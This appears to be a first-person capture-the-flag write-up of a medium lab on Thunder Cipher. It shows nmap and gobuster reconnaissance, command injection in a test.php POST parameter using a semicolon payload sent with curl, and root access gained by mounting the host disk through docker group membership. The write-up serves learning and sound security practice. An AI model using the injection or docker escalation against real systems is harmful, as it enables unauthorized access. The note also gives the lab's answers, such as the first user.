Write-up / CTF · Thunder Cipher

How I accidentally became root through Docker

A “keyword counter” page, a semicolon, and a group membership that should never have been there.

PlatformThunder Cipher
DifficultyMedium
TimeAbout 2 hours
DateJan 2026

This was my first ever write-up. I’ve kept it the way I wrote it. The lab is on thundercipher.tech.

Step 1: recon.

I started with a basic Nmap scan to see what I was dealing with. It returned five open ports, which gave me a few places to start poking around.

$ nmap -sC -sV 192.168.5.109

PORT      STATE  SERVICE
21/tcp    open   ftp
22/tcp    open   ssh
80/tcp    open   http (Apache)
3306/tcp  open   mysql
8000/tcp  open   http-alt (Nginx)

Step 2: checking the doors.

Since the ports weren’t giving much away, I ran Gobuster on both web ports to find hidden files.

$ gobuster dir -u http://192.168.5.109:8000 -w common.txt -x php,txt,sh

That was the breakthrough. It found .bashrc and a very suspicious test.php.

Step 3: breaking the script.

I opened test.php. It was blank, but it answered with an error: “Please POST a proper query.” That told me it wanted a POST request, and that the parameter was probably called query.

My guess was that the script took my input and ran a command with it, so I tried command injection with a semicolon.

The request
query=;idWhat I sent
shell commandMy input is pasted into it
; ends it earlyThe original command stops
id runsMy command runs as the web user
The semicolon finishes the server’s command, and everything after it is mine.
$ curl -X POST -d "query=;id" http://192.168.5.109:8000/test.php
uid=1001(apiuser) gid=1001(apiuser)
Question 1: which user did I first get access as?apiuser

Step 4: the Docker mistake.

I was in, but I wasn’t root. I looked at my user again and saw the important part: groups=1001(apiuser),115(docker).

Being in the docker group is dangerous. It means I can talk to the Docker daemon, which runs as root. I didn’t need a password. I only had to ask Docker to start a container with the host’s disk mounted inside it.

query=;docker run -v /:/mnt ubuntu cat /mnt/root/root.txt
  1. docker run ... ubuntu starts an Ubuntu container.
  2. -v /:/mnt takes the server’s entire disk and plugs it into the container at /mnt.
  3. cat /mnt/root/root.txt reads the flag.

Docker obeyed, and the flag printed on my screen.

Question 2: what is the root flag?Solved

Proof of pwn.

My LocalRoot capture-the-flag certificate

Challenge completed on Thunder Cipher.

Back to the surface